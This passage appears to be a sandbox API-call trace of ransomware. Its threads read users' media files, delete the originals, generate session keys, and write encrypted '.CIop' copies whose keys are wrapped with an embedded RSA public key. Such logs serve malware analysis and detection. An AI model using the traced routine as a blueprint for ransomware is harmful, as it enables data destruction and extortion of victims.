KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x357d5b8, pcbBinary=0x357d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.119] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x357d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598 | out: pvStructInfo=0x357d5a0, pcbStructInfo=0x357d598) returned 1 [0100.119] CryptAcquireContextW (in: phProv=0x357d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x357d5a8*=0x2f037a8) returned 1 [0100.120] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f037a8, dwCertEncodingType=0x1, pInfo=0x649cc0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x357d5b0 | out: phKey=0x357d5b0*=0x648d38) returned 1 [0100.120] CryptEncrypt (in: hKey=0x648d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x357d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x357d5b4*=0x80) returned 1 [0100.120] CryptEncrypt (in: hKey=0x648d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03148*, pdwDataLen=0x357d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03148*, pdwDataLen=0x357d5a4*=0x80) returned 1 [0100.120] WriteFile (in: hFile=0x5bc, lpBuffer=0x2f03148*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x357e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03148*, lpNumberOfBytesWritten=0x357e5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.120] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.121] VirtualFree (lpAddress=0x2ed0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.121] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.121] CloseHandle (hObject=0x5bc) returned 1 [0100.278] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\O4rsCOfAWVNZ.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\o4rscofawvnz.mp4")) returned 0 Thread: id = 162 os_tid = 0xa8c [0099.979] lstrcpyA (in: lpString1=0x367e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0099.979] lstrcpyW (in: lpString1=0x367f368, lpString2="OALKMuc2ka4.gif" | out: lpString1="OALKMuc2ka4.gif") returned="OALKMuc2ka4.gif" [0099.979] lstrcpyW (in: lpString1=0x367f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0099.979] SetErrorMode (uMode=0x1) returned 0x1 [0099.979] wsprintfW (in: param_1=0x367eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif") returned 45 [0099.979] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif", dwFileAttributes=0x20) returned 1 [0100.036] StrStrW (lpFirst="OALKMuc2ka4.gif", lpSrch=".CIop") returned 0x0 [0100.036] wsprintfW (in: param_1=0x367e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif.CIop") returned 50 [0100.036] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oalkmuc2ka4.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x578 [0100.036] ReadFile (in: hFile=0x578, lpBuffer=0x2f04f88, nNumberOfBytesToRead=0xf223, lpNumberOfBytesRead=0x367e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesRead=0x367e5e8*=0xf223, lpOverlapped=0x0) returned 1 [0100.037] CloseHandle (hObject=0x578) returned 1 [0100.037] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oalkmuc2ka4.gif")) returned 1 [0100.038] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0100.039] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0100.039] SetErrorMode (uMode=0x1) returned 0x1 [0100.039] CryptAcquireContextW (in: phProv=0x367e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x367e5b8*=0x2f03b60) returned 1 [0100.041] CryptGenKey (in: hProv=0x2f03b60, Algid=0x1, dwFlags=0x4000, phKey=0x367e5bc | out: phKey=0x367e5bc*=0x648a78) returned 1 [0100.143] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x367e5ec | out: pbData=0x0*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0100.143] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x367e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x367e5ec*=0x94) returned 1 [0100.143] CryptDestroyKey (hKey=0x648a78) returned 1 [0100.143] CryptReleaseContext (hProv=0x2f03b60, dwFlags=0x0) returned 1 [0100.144] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oalkmuc2ka4.gif.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c0 [0100.144] WriteFile (in: hFile=0x5c0, lpBuffer=0x2f04f88*, nNumberOfBytesToWrite=0xf223, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f04f88*, lpNumberOfBytesWritten=0x367e5d8*=0xf223, lpOverlapped=0x0) returned 1 [0100.145] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf223 [0100.145] WriteFile (in: hFile=0x5c0, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x367e5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.145] SetFilePointer (in: hFile=0x5c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xf22a [0100.146] SetErrorMode (uMode=0x1) returned 0x1 [0100.146] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.146] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x367d5b8, pcbBinary=0x367d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.146] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x367d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598 | out: pvStructInfo=0x367d5a0, pcbStructInfo=0x367d598) returned 1 [0100.146] CryptAcquireContextW (in: phProv=0x367d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x367d5a8*=0x2f03a50) returned 1 [0100.146] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03a50, dwCertEncodingType=0x1, pInfo=0x64a5b0, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x367d5b0 | out: phKey=0x367d5b0*=0x648838) returned 1 [0100.146] CryptEncrypt (in: hKey=0x648838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x367d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x367d5b4*=0x80) returned 1 [0100.146] CryptEncrypt (in: hKey=0x648838, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f02fb0*, pdwDataLen=0x367d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f02fb0*, pdwDataLen=0x367d5a4*=0x80) returned 1 [0100.146] WriteFile (in: hFile=0x5c0, lpBuffer=0x2f02fb0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x367e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f02fb0*, lpNumberOfBytesWritten=0x367e5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.146] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.147] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.147] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.147] CloseHandle (hObject=0x5c0) returned 1 [0100.149] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\OALKMuc2ka4.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\oalkmuc2ka4.gif")) returned 0 Thread: id = 163 os_tid = 0x7a0 [0100.151] lstrcpyA (in: lpString1=0x332e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.151] lstrcpyW (in: lpString1=0x332f368, lpString2="P9oN_mVJ_5GZ wuO.avi" | out: lpString1="P9oN_mVJ_5GZ wuO.avi") returned="P9oN_mVJ_5GZ wuO.avi" [0100.151] lstrcpyW (in: lpString1=0x332f768, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\" [0100.151] SetErrorMode (uMode=0x1) returned 0x1 [0100.151] wsprintfW (in: param_1=0x332eb68, param_2="%s%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi") returned 50 [0100.151] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi", dwFileAttributes=0x20) returned 1 [0100.151] StrStrW (lpFirst="P9oN_mVJ_5GZ wuO.avi", lpSrch=".CIop") returned 0x0 [0100.151] wsprintfW (in: param_1=0x332e758, param_2="%s%s.CIop" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi.CIop") returned 55 [0100.151] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p9on_mvj_5gz wuo.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0100.152] ReadFile (in: hFile=0x5a4, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x3b5a, lpNumberOfBytesRead=0x332e5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x332e5e8*=0x3b5a, lpOverlapped=0x0) returned 1 [0100.152] CloseHandle (hObject=0x5a4) returned 1 [0100.152] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p9on_mvj_5gz wuo.avi")) returned 1 [0100.180] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0100.181] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0100.181] SetErrorMode (uMode=0x1) returned 0x1 [0100.181] CryptAcquireContextW (in: phProv=0x332e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x332e5b8*=0x2f03ad8) returned 1 [0100.183] CryptGenKey (in: hProv=0x2f03ad8, Algid=0x1, dwFlags=0x4000, phKey=0x332e5bc | out: phKey=0x332e5bc*=0x6490f8) returned 1 [0100.339] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x332e5ec | out: pbData=0x0*, pdwDataLen=0x332e5ec*=0x94) returned 1 [0100.339] CryptExportKey (in: hKey=0x6490f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x332e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x332e5ec*=0x94) returned 1 [0100.339] CryptDestroyKey (hKey=0x6490f8) returned 1 [0100.339] CryptReleaseContext (hProv=0x2f03ad8, dwFlags=0x0) returned 1 [0100.339] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p9on_mvj_5gz wuo.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5a4 [0100.340] WriteFile (in: hFile=0x5a4, lpBuffer=0x685cd0*, nNumberOfBytesToWrite=0x3b5a, lpNumberOfBytesWritten=0x332e5d8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesWritten=0x332e5d8*=0x3b5a, lpOverlapped=0x0) returned 1 [0100.340] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b5a [0100.340] WriteFile (in: hFile=0x5a4, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x332e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x332e5d8*=0x7, lpOverlapped=0x0) returned 1 [0100.341] SetFilePointer (in: hFile=0x5a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3b61 [0100.341] SetErrorMode (uMode=0x1) returned 0x1 [0100.341] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0100.341] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x332d5b8, pcbBinary=0x332d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x332d5b8, pcbBinary=0x332d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0100.341] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x332d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x332d5a0, pcbStructInfo=0x332d598 | out: pvStructInfo=0x332d5a0, pcbStructInfo=0x332d598) returned 1 [0100.341] CryptAcquireContextW (in: phProv=0x332d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x332d5a8*=0x2f03ad8) returned 1 [0100.341] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f03ad8, dwCertEncodingType=0x1, pInfo=0x64a410, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x332d5b0 | out: phKey=0x332d5b0*=0x648ab8) returned 1 [0100.342] CryptEncrypt (in: hKey=0x648ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x332d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x332d5b4*=0x80) returned 1 [0100.342] CryptEncrypt (in: hKey=0x648ab8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f03d80*, pdwDataLen=0x332d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f03d80*, pdwDataLen=0x332d5a4*=0x80) returned 1 [0100.342] WriteFile (in: hFile=0x5a4, lpBuffer=0x2f03d80*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x332e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f03d80*, lpNumberOfBytesWritten=0x332e5d8*=0x80, lpOverlapped=0x0) returned 1 [0100.342] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0100.342] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.342] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0100.342] CloseHandle (hObject=0x5a4) returned 1 [0100.343] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\P9oN_mVJ_5GZ wuO.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\p9on_mvj_5gz wuo.avi")) returned 0 Thread: id = 164 os_tid = 0xec [0100.354] lstrcpyA (in: lpString1=0x31ae5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0100.354] lstrcpyW (in: lpString1=0x31af368, lpString2="50YQIo4i.jpg" | out: lpString1="50YQIo4i.jpg") returned="50YQIo4i.jpg" [0100.354] lstrcpyW (in: lpString1=0x31af768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\" [0100.354] SetErrorMode (uMode=0x1) returned 0x1 [0100.354] wsprintfW (in: param_1=0x31aeb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg") returned 115 [0100.354] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg", dwFileAttributes=0x20) returned 1 [0100.354] StrStrW (lpFirst="50YQIo4i.jpg", lpSrch=".CIop") returned 0x0 [0100.354] wsprintfW (in: param_1=0x31ae758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg.CIop") returned 120 [0100.354] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\50yqio4i.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5b0 [0100.354] ReadFile (in: hFile=0x5b0, lpBuffer=0x685cd0, nNumberOfBytesToRead=0x7d74, lpNumberOfBytesRead=0x31ae5e8, lpOverlapped=0x0 | out: lpBuffer=0x685cd0*, lpNumberOfBytesRead=0x31ae5e8*=0x7d74, lpOverlapped=0x0) returned 1 [0100.355] CloseHandle (hObject=0x5b0) returned 1 [0100.355] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Pictures\\7B iYIRm\\QVr-mzOnFHsqrr\\q0YpRzhHSmV\\72AEjtrdw7I\\xDtCMA3q\\J7dCVSJUmB\\50YQIo4i.jpg" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\7b iyirm\\qvr-mzonfhsqrr\\q0yprzhhsmv\\72aejtrdw7i\\xdtcma3q\\j7dcvsjumb\\50yqio4i.jpg")) returned 1 [0100.368] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0100.368] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0100.369] SetErrorMode (uMode=0x1) returned 0x1 [0100.369] CryptAcquireContextW (in: phProv=0x31ae5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x31ae5b8*=0x2f03b60) returned 1 [0100.372] CryptGenKey (in: hProv=0x2f03b60, Algid=0x1, dwFlags=0x4000, phKey=0x31ae5bc | out: phKey=0x31ae5bc*=0x648a78) returned 1 [0100.492] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x31ae5ec | out: pbData=0x0*, pdwDataLen=0x31ae5ec*=0x94) returned 1 [0100.492] CryptExportKey (in: hKey=0x648a78, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, 